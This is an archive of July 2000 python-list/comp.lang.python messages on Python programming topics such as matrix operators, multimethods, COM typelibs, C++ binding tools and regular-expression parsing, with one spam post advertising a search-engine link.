                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Q:  In a lesbian relationship, who decides who gets to be the man?
A:  It's two women.  There is no man.  That's the point.


From hzhu at localhost.localdomain.bbs  Mon Jul 17 19:20:03 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 23:20:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRSk5$haF@openbazaar.net>

On 17 Jul 2000 17:39:33 -0400, David M. Cooke <cookedm at physics.mcmaster.ca>
wrote:
>> Consider the proposal of having two classes, Matrixwise and Elementwise,
>> with methods to cast to each other.  I don't know why
>>
>> (a.E()*b.E()).M()*(c.E()*d.E()).M()
>>
>> would be more preferable to
>>
>> (a.*b)*(c.*d)
>
>Well, it doesn't have to be as complicated as your first example. Assume
>the default is Matrixwise, and we get rid of some ()'s by overriding
>__getattr__, so that we can right
>
>(a.E*b.E)*(c.E*d.E)
>

That's a good point.  Can __getattr__ be made to work only on a selected
number of attributes?  We could use it on T, H, I, C for transpose,
Hermitian transpose, inverse and conjugate.  But if it works on all the
undefind members the error message may be too obscure.  Any examples?

BTW, you meant

(a.E*b.E).M*(c.E*d.E).M

for otherwise it is equivalent to (a.*b).*(c.*d).

>But what if we assume that if one operand has .E, the other does also!
>Then we can write
>
>(a.E*b)*(c.E*d)

This won't work.  It would introduce many hard-to-trace bugs.  Looking at

(a*b)*(c*d)

and you have to trace the program all the way down to figure out the
identities of a,b,c,d.  Note that in concept the identities of the objects
do not change.  We are changing their identities only as labels to help
picking different operators.  I can foresee great confusion in practice with
this approach.

Huaiyu


From cut_me_out at hotmail.com  Tue Jul 11 12:02:18 2000
From: cut_me_out at hotmail.com (Alex)
Date: 11 Jul 2000 12:02:18 -0400
Subject: checking the existence of a fiel
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <etdbt04hcz9.fsf@w20-575-115.mit.edu>

> How can I check if a file exists?

import os

file_exists_p = os.path.exists (path_to_file)

http://www.python.org/doc/current/lib/module-os.path.html

Alex.


From darrell at dorb.com  Sun Jul  2 01:15:21 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sat, 1 Jul 2000 22:15:21 -0700
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au> <033401bfe3c0$d7158140$6401a8c0@home> <395E8A34.FE17D610@prescod.net>
Message-ID: <037101bfe3e4$8558c820$6401a8c0@home>

From: "Paul Prescod"
> 
> http://www.activestate.com/Products/VisualPython.html
> 
Thanks for pointing this out. I see it comes up on google also.

This should make the job of Python evangelizer that much simpler.
Some people will feel that VC support puts Python on main street.

--Darrell Gallion




From dgoodger at bigfoot.com  Sat Jul 22 14:07:51 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sat, 22 Jul 2000 14:07:51 -0400
Subject: zip or marry etc: compose()!
References: <LNBBLJKPBEHFEDALKOLCCEENGLAA.tim_one@email.msn.com>
Message-ID: <B59F5B36.684B%dgoodger@bigfoot.com>

I haven't seen anyone suggest "compose", which is the only word I can think
of that comes close to the intended semantics. Especially since, political
statements aside, both "marry" and "zip" imply two sources.

When was the last time your zipper had more than two edges?

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From jblazi at vipsurf.de  Sun Jul 30 07:15:55 2000
From: jblazi at vipsurf.de (Janos Blazi)
Date: Sun, 30 Jul 2000 13:15:55 +0200
Subject: Calling C Function Pointers from Python
References: <8ltqvn$pbl$1@nnrp1.deja.com> <Uwug5.15044$4p3.118240@news-server.bigpond.net.au>
Message-ID: <39840d9b_1@news.newsfeeds.com>

Neil Hodgson <neilh at scintilla.org> schrieb in im Newsbeitrag:
Uwug5.15044$4p3.118240 at news-server.bigpond.net.au...
> > I am currently in the middle of hooking up a large external C++ library
by
> > maintaining a database of C++ function pointers that I will call from
> Python.
> > If anybody has tried this before, my question is: Is there a good way to
> call
> > these function pointers without having to wrap every single one in a
> Python-C
> > module? The only package I know of that might do this job is libffi, but
> it
> > only runs on Unix, not on Windows.
>
>    Sam Rushing's calldll/windll can call arbitrary function pointers from
> Python.
>
> http://www.nightmare.com/software.html
>
>    No type checking, no safety, no warranties.
>
>    Neil

Can somebody tell me, how a dll call from Python works on principal? Let us
suppose I'd like to something like caldll. Where should I start. Which
Python "primitives" have I to use?

Janos Blazi




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From jepler.lnk at lnk.ispi.net  Sun Jul  9 13:21:26 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Sun, 09 Jul 2000 17:21:26 GMT
Subject: Problem with real-accurate module num != num
References: <nndoOWltXGEw7f=5YdyL54JFUe+J@4ax.com>
Message-ID: <slrn8mhckb.3q8.jepler.lnk@potty.housenet>

On Sun, 09 Jul 2000 23:06:19 +1000, cmfinlay at SPAMmagnet.com.au
 <cmfinlay at SPAMmagnet.com.au> wrote:
>I am having problems with the code below
>
>QUOTE
>from real import *
>num = r(0)
>num_real = r(0)
>if num == num_real:
>   print "ok"
>else:
>   print "Bad" # the code goes here.
>UN QUOTE
>
>Also
>
>if num_real == 0
>
>Goes to the wrong place as well.

you need to implement real.r.__cmp__().

real.r.__cmp__(a, b) should return:
	0 if a and b are equal
	-1 if a is less than b
	+1 if a is greater than b
just as the builtin cmp() function returns.

A common error is for __cmp__() to be written so that it returns
	0 if a and b are unequal
	+1 if a and b are equal
but of course, there's no way for python to diagnose this programming error.

Jeff


From swun at eSec.com.au  Tue Jul 25 21:09:41 2000
From: swun at eSec.com.au (Sam Wun)
Date: Wed, 26 Jul 2000 11:09:41 +1000
Subject: sample code of using Queue.
Message-ID: <397E3A54.A77925D8@eSec.com.au>

I want to have multiple threads write to the Queue object.

Dose anyone has example for doing that? or could anyone point me to an url?

Thanks

Sam.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000726/190c3e81/attachment.html>

From ngps at madcap.dyndns.org  Sun Jul 23 08:26:10 2000
From: ngps at madcap.dyndns.org (Ng Pheng Siong)
Date: 23 Jul 2000 12:26:10 GMT
Subject: PyPGP?
References: <39751C1A.5F476774@mastnet.net> <3dn1jaxp5j.fsf@kronos.cnri.reston.va.us> <3979B263.CD885518@stroeder.com>
Message-ID: <8leo92$cdv$1@coco.singnet.com.sg>

According to Michael Str?der  <michael at stroeder.com>:
> You might wanna have a look at M2Crypto found on
> http://www.post1.com/home/ngps/m2/ which has some support for PGP

The PGP stuff in M2Crypto is only good for reading PGP2 key rings and
nothing else. Because I have S/MIME v2 working in M2Crypto I've not done
any more work on PGP.


-- 
Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps



From spamfranke at bigfoot.de  Mon Jul  3 20:23:05 2000
From: spamfranke at bigfoot.de (Stefan Franke)
Date: Tue, 04 Jul 2000 00:23:05 GMT
Subject: Socket problem
References: <slrn8m1p8s.2e9.thor@localhost.localdomain>
Message-ID: <39652e57.16380596@news.btx.dtag.de>

[Might be a repost..]

On 3 Jul 2000 17:08:24 GMT, thor at localhost.localdomain (Manuel Gutierrez Algaba) wrote:

>
>I'm doing a game for my University. It's divided into 3 parts
>( AI (clips), core(python), GUI(python)) communicated by sockets.

Sorry, no help for your question, but just for interest - how do you interface
with clips?

Stefan




From ge at nowhere.none  Mon Jul 24 13:29:49 2000
From: ge at nowhere.none (Grant Edwards)
Date: Mon, 24 Jul 2000 17:29:49 GMT
Subject: mapping the read() fonction
References: <8lhsu5$huv$1@reda.worldonline.fr>
Message-ID: <h2%e5.2232$6E.537018@ptah.visi.com>

In article <8lhsu5$huv$1 at reda.worldonline.fr>, Benjamin wrote:

>I would like to map the read() function of a file object
>
>I have a list of file objects. I want to return the list of their content
>using the map function
[...]

How about:

  names = ['a','b','c']
  list1 = map(open,names,['r','r','r'])
  print list1
  list2 = map(lambda f: f.read(), list1)
  print list2

-- 
Grant Edwards                   grante             Yow!  Everybody is going
                                  at               somewhere!! It's probably
                               visi.com            a garage sale or a disaster
                                                   Movie!!


From paul at prescod.net  Tue Jul 18 15:08:52 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 14:08:52 -0500
Subject: Small learning project
Message-ID: <3974AB44.73C339AE@prescod.net>

Anyone looking for a few hours of work as a Python learning opportunity?
I have a simple text processing problem which is relatively interesting
because it will give you a chance to learn about some Python internals
(without requiring you to already be an expert in them). I would do it
myself but I'm supposed to be working on a book.

The idea is to make a prototype of a tool that generates LaTeX
documentation for the Python documentation system from modules, classes,
functions signatures and their docstrings. We've already got the code to
do the extracting of that stuff from modules (weird magic). We've also
got something that will generate HTML from the modules. Now we just need
someone to port that tool to LaTeX. It's only 300 lines of code but its
a relatively dense 300 lines. 

You don't really need to know LaTeX although a little LaTeX knowledge
would be helpful and having enough LaTeX knowledge to be able to test
would be cool too. But even without that, you could get to the 90% mark
just by looking at existing LaTeX files in the library (I can send you
some) and then someone else with more LaTeX skill can finish off the
details.

Once the tool is done, I'll try to get it added to the Python
documentation system. This would allow module writers to write their
documentation once, in docstrings and will allow the Python
documentation maintainers to get the LaTeX they need for their various
format deliverables. I don't have the authority (any authority!) to
promise it will be included, but I don't see why it wouldn't become an
instant hit. There is even the possibility that it might be included
with the Python standard library, alongside all of your favorite
modules!

There's no deadline on the project but its only a few hours so if you
can't get to it for a while, better to leave it to someone who can do it
in the next week.

If you are interested, contact me. I've got some URLs and ideas on the
best approach to help you to achieve maximum productivity.
-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From karl_python at sub.ulbrich.org  Thu Jul 27 20:42:32 2000
From: karl_python at sub.ulbrich.org (Karl Ulbrich)
Date: Thu, 27 Jul 2000 20:42:32 -0400
Subject: Uploading forms+files via Python script -- no luck
In-Reply-To: <20000720195821.K11463@exeter.exeter.org>; from karl_python@sub.ulbrich.org on Thu, Jul 20, 2000 at 07:58:21PM -0400
References: <20000720195821.K11463@exeter.exeter.org>
Message-ID: <20000727204232.A24729@exeter.exeter.org>

For anyone interested in the solution...  I screwed up something when
adapting my (working) starting point to the code I posted.  

The MIME boundary specified in the header starts with "-----" (this may be
an arbitrary number, but 5 works).  

However, boundaries in the BODY have to start with an extra 2 hyphens,
so they need to start with "-------".

Furthermore, the last boundary ends with an extra "--" in the working
code example I had.  

Strange but true MIME stuff.  I gave up on the RFC, so that's just a 
what-worked-for-me solution, assumed to be basically correct.

Karl Ulbrich



From matthias.huening at univie.ac.at  Tue Jul  4 10:55:02 2000
From: matthias.huening at univie.ac.at (Matthias Huening)
Date: Tue, 4 Jul 2000 16:55:02 +0200
Subject: Looking for Python CGI resources
References: <000101bfe5c6$e0e73f80$24b745c6@timaratz>
Message-ID: <8jstua$2tk8$1@www.univie.ac.at>

Peter Timaratz <timaratz at lisco.com> schrieb in im Newsbeitrag:
000101bfe5c6$e0e73f80$24b745c6 at timaratz...
> I have the book 'Learning Python' and now I'm looking for material
oriented
> towards using Python for CGI. The only book that seems to cover this
topic
> in any depth is 'Internet Programming With Python' and it is out of
print.
> Is there any other CGI material available?
>
>

Have a look at the 'Web Programming Topic Guide'
http://www.python.org/topics/web/
on the Python-site.

Matthias





From neelk at brick.cswv.com  Sat Jul 22 20:52:29 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 23 Jul 2000 00:52:29 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net>
Message-ID: <slrn8nki9i.7ga.neelk@brick.cswv.com>

Aahz Maruch <aahz at netcom.com> wrote:
> In article <slrn8nj9ul.6bu.neelk at brick.cswv.com>,
> Neel Krishnaswami <neelk at alum.mit.edu> wrote:
> >
> > My proposal would be to replace it with multimethods, because that's 
> > the best way of solving the binary method problem in an
> > OO language. 
> 
> Explain this in plain English, please (or better yet, plain Python), for
> those of us who dropped out before getting our CS degrees.

Oops, sorry. I've been doing a lot of Dylan programming lately, and
that has multimethods in the language, so I forgot that this isn't
normal.

So multimethods. In ordinary OO programming, you can think of a method
as a set of functions, and the function body that's chosen is based on
the runtime type of the first argument.

Eg, take two class 

  class Foo:
      def frob(self, arg):
          return "foo" + arg
  
  class Bar(Foo):
      def frob(self, arg):
          return "bar" + arg

  class Baz(Foo):
      def frob(self):
          return "baz" + arg

So when you have an object x, the call x.frob() will return "foo",
"bar", or "baz" based on the runtime type of the self argument.
However, the other arguments are just passed on to the function
called, and have no impact on which method is chosen.

Now, binary methods. A lot of mathematical operations (like +, *, -,
/) are functions with two arguments, and the result should depend on
the type of *both* arguments. You want to call different code to add
(<integer>,<integer>) than (<integer>,<float>) or (<float>,<float>).

IOW, you want to be able to do something like (pseudocode follows):

  define method __mul__(x :: <integer>, y :: <integer>)
    ...add two integers
  end method
  
  define method __mul__(x :: <float>, y :: <float>)
    ...add two floats
  end method
  
  define method __mul__(x :: <integer>, y :: <float>)
     ...add an integer and a float
  end method
  
  define method __mul__(x :: <float>, y :: <integer>)
     ...add a float to an integer
  end method

and then at runtime have the right __mul__ method be picked on the
arguments. The Numeric module makes this obvious, because it contains
a lot of types that implement binary methods in their interface.

I first ran into this when I tried to implement a sparse matrix
class. At that time, the Numpy distribution had a Matrix class that
implemented regular matrix multiplication with '*', and I wanted to
write another class SparseMatrix that would do the right thing
whenever it was multiplied with a Matrix.

This was impossible in regular Python, because an expression like
"matrix * sparse" would always yield an error because Matrix.__mul__
couldn't cope with the multiplication, and try as I might I couldn't
get the __rmul__ hack to work consistently.

Multimethods solve this so elegantly it's hard to see that there was
once a difficulty. Exactly the types that have defined behavior work,
and the rest raise an intelligent error.

The Smalltalk numeric classes implement double dispatch manually for
the Number classes, though this makes it harder to implement
additional number types.


Neel


From moshez at math.huji.ac.il  Fri Jul 28 02:48:55 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 09:48:55 +0300 (IDT)
Subject: Python luddites (was Re: Type inference now simplicity)
In-Reply-To: <slrn8o1bkt.dd3.nobody@isis.visi.com>
Message-ID: <Pine.GSO.4.10.10007280948140.4194-100000@sundial>

On Thu, 27 Jul 2000, Grant Edwards wrote:

> In article <slrn8o160d.rt1.grey at teleute.rpglink.com>, Steve Lamb wrote:
> 
> >>IMO, they're detrimental, and should not be offered.
> >
> >    YEAH!!!  I say everyone should have to program in nothing but 0s and 1s!
> 
> You use 1's? 

Hah! 0's and 1's are abstractions: I just pump the electrons!

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From smigowsky at dspace.de  Thu Jul 13 04:16:23 2000
From: smigowsky at dspace.de (Stefan Migowsky)
Date: Thu, 13 Jul 2000 09:16:23 +0100
Subject: TypeLib for Python COM Server?
Message-ID: <326536345498D311B3BC00105A39802A07478A@newsintern.dspace.de>

Hi,

there is no general support for typelib generation. But as I know all
propertiues and methods of a Python COM Server start with the dispid 1000.

So writing the IDL File by hand is no problem. Just take the same GUIDs,
Names and the right DispID. So here is a little example : 

Python File : 

_reg_clsid_ = "{5B24BFC0-EF45-11d3-9B5F-0090274354BC}"
_reg_libname_ = "PythonComInterpreter Typelib"

class PythonComInterpreter:
    """Interface PythonComInterpreter"""

    _public_methods_ = ['Exec','Eval']

    _reg_progid_     = "PythonComInterpreter"
    _reg_verprogid_  = "PythonComInterpreter.1"
    _reg_clsid_      =  '{281AC1E3-E3D2-11D3-9B37-00902722BDE1}'
    _reg_desc_       = "PythonComInterpreterClass"
    _reg_class_spec_ = "PythonComInterpreter.PythonComInterpreter"

           
    def __init__(self):
        self.Dict = {}
        self.Dict["__name__"] = "__main__"
        self.Dict["__builtins__"] = __builtins__
        self.Dict["__doc__"] = ""

    def Exec(self, Cmd):
        exec str(Cmd) in self.Dict

    def Eval(self, Cmd):
        return eval(str(Cmd),self.Dict)


if __name__ == '__main__':
  print 'Registering Python COM Server ...'
  import win32com.Server.register
  win32com.Server.register.UseCommandLine(PythonComInterpreter)
  print 'Registering finished'

######################################################################
Corresponding IDL File:
######################################################################

[
  uuid(5B24BFC0-EF45-11D3-9B5F-0090274354BC),    // _reg_clsid_ Typelib
  version(1.0),
  helpstring("PythonComInterpreter 1.0 Type Library")
]
library Interpreter
{    
    importlib("STDOLE2.TLB");

    // Forward declare all types defined in this typelib
    dispinterface IPythonComInterpreter;

    [
      uuid(281AC1E3-E3D2-11D3-9B37-00902722BDE1), // _reg_clsid_
PythonComInterpreter Class
      helpstring("PythonComInterpreter Class")
    ]
    coclass PythonComInterpreter {                // _reg_progid_
PythonComInterpreter Class
        [default] dispinterface IPythonComInterpreter;
    };

    [
      uuid(F8887DE1-EF58-11D3-9B5F-0090274354BC),
      helpstring("IPythonComInterpreter Interface")
    ]
    dispinterface IPythonComInterpreter {
        properties:
        methods:
            [id(1000), helpstring("Executes a Pythonstatement")]
            VARIANT Exec([in] BSTR cmd);
            [id(1001), helpstring("Evals a Pythonstatement")]
            VARIANT Eval([in] BSTR cmd);
    };
};


	Stefan


>-----Original Message-----
>From: mlp at amrose.dk [mailto:mlp at amrose.dk]
>Sent: Wednesday, July 12, 2000 1:37 PM
>To: python-list at python.org
>Subject: TypeLib for Python COM Server?
>
>
>hi all.
>
>i'm in a situation where i'd like to have a typelib for a python com
>server, for use in a c++ client.
>
>i tried to just use midl on an idl i made to reflect the interface of
>the python server.  this didn't work out, since when compiling the
>client code the tlb file is not recognized.
>
>my question: is there an automatic, easy, or standard, way to produce a
>typelibrary for a com server implemented in python?  if not, is it
>possible at all?  if so, could anybody help me with the details?  a
>complete example would be splendid!
>
>python rules!
>'gards,
>morten lind petersen, denmark
>
>
>Sent via Deja.com http://www.deja.com/
>Before you buy.
>-- 
>http://www.python.org/mailman/listinfo/python-list
>



From hjmkvdpmh at jxneudcnc.com  Tue Jul  4 19:54:38 2000
From: hjmkvdpmh at jxneudcnc.com (hjmkvdpmh at jxneudcnc.com)
Date: 5 Jul 2000 01:54:38 +0200
Subject: New SEARCH-ENGINE (fast and powerfull)                  13505 gkmhketsfsqn
Message-ID: <3962793e@news.takas.lt>

ndguewefeumhhv
 
Click link to visit our new super-fast search-engine

http://members.xoom.com/kabluk/search.htm

Easy to search in any themes 

Arts     Audio     Autos     Books     Business     Classified    Computers

ECommerce    Education     Emergency    Entertainment    E-Zines   Fashion

What's Hot on  today
? Gambling     ? Domains       ? Poker    ? Games    ? Casino
? Web Hosting  ? Home Business   ? Family Vacation
? Visa  ? Bankruptcy
? FaSSt Search?

Food       Finance      Gambling    Government     Health    Hobbies

Industries      Internet    Job/Career     Kids      Lifestyle      Magazines     Maps

Marketing      Money        Movies      Music      News    Personal     Radio   Real Estate

Reference      Religion     Science    Social     Search     Shopping      Sports    Tickets    Travel

Weather         and much more!!!

Visit us now!
http://members.xoom.com/kabluk/search.htm





  
 
  
  
To get a copy of this posting software go to
http://defisof.bizland.com/
 
 
 
 
 
 
 
 
 
jshyguttt
 
 
 
 
uuimhreryvgkc


From abrahams at mediaone.net  Thu Jul 20 12:15:46 2000
From: abrahams at mediaone.net (David Abrahams)
Date: Thu, 20 Jul 2000 16:15:46 GMT
Subject: CXX and Swig, pros and cons
References: <8kv5uj$4of$1@broadway.news.is-europe.net> <ya0em4qffs4.fsf@midgard.ifi.uio.no>
Message-ID: <SAFd5.38087$Q8.281694@typhoon.ne.mediaone.net>

"Roger Hansen" <rogerha at ifi.uio.no> wrote in message
news:ya0em4qffs4.fsf at midgard.ifi.uio.no...
> * J?r?me Lecomte
> >
> > I am fairly new to Python and I'd like to interface part of a medium
> > size C++ lib (around 70 classes) to Python. I looked on the www and
> > I found CXX and Swig. They seem to have fairly different approach of
> > the problem. I wonder which suits best C++.
>
> That depends! SWIG is very good with C, but not with advanced C++,
> that is templates, STL, etc. So if the library uses simple C++
> features, you could use SWIG. The nice thing with SWIG is that it can
> be very simple to build a good interface. Read the C++ support chapter
> in User's Guide to determine if you can use SWIG.
>
> CXX has as you say a very different approach. I've just looked at it
> myself and are struggling a bit. But I do like some of the features,
> like the nice connection to STL.
>
> > If I miss any other tool, please let me know.
>
> SILOON which you can find at <URL: http://www.acl.lanl.gov/siloon/ >
> looks promising. I haven't tried it yet though.

There's another one which I've been developing called "py_cpp" at
http://www.egroups.com/files/boost/py_cpp/.
[I'm thinking of changing the name to "Raymond Luxury Yacht" - can someone
come up with a better moniker?]
If you're not a boost mailing list member you may need to join in order to
be able to look at this page. Let me know if you have trouble getting there.

The system is still lacking formal documentation, but it does include some
fairly complete and well-commented usage examples. Look at extclass_demo.*

Advantages of py_cpp include:
1. Automatic conversion and type-checking of argument lists. You should
never have to write PyArg_ParseTuple() (or the equivalent) again.
2. You can subclass your C++ classes in Python and override their virtual
functions
3. C++ objects held by smart pointers (e.g. std::auto_ptr,
boost::shared_ptr) look just like the corresponding object in Python -
indirection is "flattened".
4. In other respects you should be able to replicate your C++ interface in
Python with little or no intrusion into your C++ design and very little
support code.

This has been tested with MSVC6.3 with and without the STLport library, and
with GCC 2.95.2 using STLport. The project requires the presence of the free
boost libraries (www.boost.org).

py_cpp is under active development and I intend to be responsive to bug
reports and requests.

-Dave




From olivierS.dagenaisP at canadaA.comM  Wed Jul 26 16:08:39 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 26 Jul 2000 20:08:39 GMT
Subject: Please help... with re
References: <397F5947.EBDA7F33@e-pack.net>
Message-ID: <bzHf5.48352$1h3.670995@news20.bellglobal.com>

First, something incredibly odd happened when I hit "Reply" in Outlook
Express.  Maybe you've got your mailer's MIME encoding set to the wrong
thing?

Anyway, when I see this problem, I am reminded of my "Compiler Construction"
course.  I would recommend something like so:

A - stream your input character by character
B - when you encounter a space, add all "buffered" characters to the list
C - if you encounter a quote, ignore rule B until you hit another quote
D - if you hit a backslash, ignore rule C for the next character
E - once you run out of characters, add all "buffered" characters to the
list

You can build a nice little Finite State Machine that should make this easy
and most likely faster (I'm guessing) than a regular expression.  This
assumes that you don't need to buffer very long words and that you have
enough memory to store the list representation, so at least as much as your
largest file.

A speedup tip I read somewhere talked about using string.join ( ) whenever
lots of concatenations were to take place, because it was a lot faster,
pre-allocating the new string size only once.

Sorry if I didn't really answer your question, but I hope I might have
helped anyway...

----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


----- Original Message -----
From: "Gilles Lenfant" <glt at e-pack.net>
Newsgroups: comp.lang.python
Sent: Wednesday, July 26, 2000 17:33
Subject: Please help... with re


Hi,
I made an horrid 68 lines monster to split a string to a list of substrings
based on following example:

This is an "example of a \"splitted\" text " by my monster.

results to this list:

[ 'This' , 'is' , 'an' , 'example of a "splitted" text ' , 'by' , 'my' ,
'monster' ]

But the stuff is too slow to parse the lines of giant log files.
I would like to use "re" package to make a shorter and faster script but
understanding its patterns/methods is not in my poor brain capabilities.
I have burned my last neurons to try to do it, and I'm close to the edge of
a nervous breakdown.
Who can help me to get it at work ?

Many, many thanks in advance !

Gilles Lenfant
glt at equod.com





From guido at beopen.com  Sat Jul 29 11:45:30 2000
From: guido at beopen.com (Guido van Rossum)
Date: Sat, 29 Jul 2000 15:45:30 GMT
Subject: Content of the Perl6 talk
References: <16E8935DE8C35BF0.1E652ED229DA405D.479F9E5D07D36E5F@lp.airnews.net> <398126DE.6E2C2627@ajubasolutions.com> <m3k8e6q7qr.fsf@bluepeak.westend.com> <3981EDA1.1CB1CE07@ajubasolutions.com>
Message-ID: <cpbszgevg0.fsf@cj20424-a.reston1.va.home.com>

Dan Kuchler <kuchler at ajubasolutions.com> writes:

> If done correctly, only the perl front end would have to be
> implemented, but it would give others the opportunity for trying to
> write some new syntax (which could be like tcl, python, etc.) that
> would work with the existing perl backend.

Lots of interesting pointers in this thread -- wish I had the time to
peruse them all in my copious spare time, but alas I only have until
lunch. :-)

A comment on the hope for a common runtime: I think this will buy you
less than you think.  E.g. you'd expect support for numeric types and
strings to be in the common runtime, right?  Wrong: Python strings are
immutable, Perl strings are mutable; in Python, the number 1 and the
string "1" are totally different things, in Perl and Tcl they both are
the same thing.  And so on for lists (e.g. in Tcl, there's no
difference between a singleton list and its first element, and
Python's the only of the three distinguishing between lists and
tuples), dictionaries (which can have tuples for keys in Python but
not in Perl), and classes/objects.  Not to mention threads, events and
so on.

The best you could hope for would be something at the (much lower)
level of Java bytecode, with extensive language-specific runtime
support for language-specific object semantics.  This is what the
Python translator that Mark Hammond wrote for Microsoft's .NET project
does.

This doesn't save much work for each language implementation, and in
fact slows down each of the language, so I believe the idea is doomed
to failure -- unless there already is an independent reason for having
the common backend, e.g. Java or .NET. :(

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From dgoodger at bigfoot.com  Sun Jul 23 01:22:10 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 23 Jul 2000 01:22:10 -0400
Subject: zip or marry etc: compose()!
References: <LNBBLJKPBEHFEDALKOLCCEENGLAA.tim_one@email.msn.com> <B59F5B36.684B%dgoodger@bigfoot.com><m3bszpd5ml.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <B59FF941.6879%dgoodger@bigfoot.com>

on 2000-07-22 20:58, Michael Hudson (mwh21 at cam.ac.uk) wrote:
> and-it's-still-going-to-be-called-"zip"-ly y'rs

That's what we get for making suggestions after the fact. :>



From peter at schneider-kamp.de  Sun Jul 23 04:07:11 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Sun, 23 Jul 2000 08:07:11 +0000
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com> <397A7BB5.A6024F70@san.rr.com> <397AA586.92DFFEFD@schneider-kamp.de>
Message-ID: <397AA7AF.E5A2C06E@schneider-kamp.de>

Peter Schneider-Kamp wrote:
> 
> Courageous wrote:
> >
> > Say for example I want to increase or decrease R,

A less general, but faster way (untested):

def incR(v,inc = 1):
  return v[0]+chr(ord(v[1]) + (inc << 3))

Note that little-endian/big-endian byte ordering must
be considered.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From wtanksle at dolphin.openprojects.net  Mon Jul 31 17:20:27 2000
From: wtanksle at dolphin.openprojects.net (William Tanksley)
Date: Mon, 31 Jul 2000 21:20:27 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <slrn8o75j2.fjt.grey@teleute.rpglink.com> <PCYg5.2852$6E.754275@ptah.visi.com> <slrn8o9k4e.i9b.grey@teleute.rpglink.com> <slrn8o9nse.a10.nobody@isis.visi.com> <slrn8oae9a.jca.grey@teleute.rpglink.com>
Message-ID: <slrn8obrcq.dtu.wtanksle@dolphin.openprojects.net>

On Mon, 31 Jul 2000 08:32:49 GMT, Steve Lamb wrote:
>On Mon, 31 Jul 2000 02:08:14 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>>Only if "debone" is a valid operation for the object "peach" and if dial is
>>a valid operation for the object "waffle-iron".  You can't state a-priori
>>that this is the case.

>>In real-life only certain operations are valid for a particular object.

>In real-life you can't make them valid for a certain object, in a
>programming language you can which is exactly why trying to magle real-world
>limitations upon the constructs of a computer is, well, not exactly the most
>ideal thing to do.

You were previously making the point that humans would have an easier time
learning Python if only it behaved as you expected it to.  We're pointing
out that Python behaves in a way very much like all of their experience in
the 'real world' would lead them to expect.

>>>>I don't understand the analogy.  Pens are not responsible for
>>>>parsing English sentances and proofreading them.  They're
>>>>responsible for leaving a visible trail when they're dragged
>>>>across a paper surface.

>>>    Exactly.  

>>Huh?

>The pen doesn't toss an exception, neither should the language since they
>are both /tools/.

But again, the pen isn't attempting to parse anything; the language IS.

And the fact that they're both tools doesn't make them both usable in the
same circumstances; the pen, for example, makes a GREAT way to clean out
your ears, but the programming language works very poorly for that.  The
programming language works great for displaying a number on an expensive
flatscreen monitor, but a fountain pen would at best throw an exception
(possibly a permanent one).

>Steve C. Lamb

-- 
-William "Billy" Tanksley


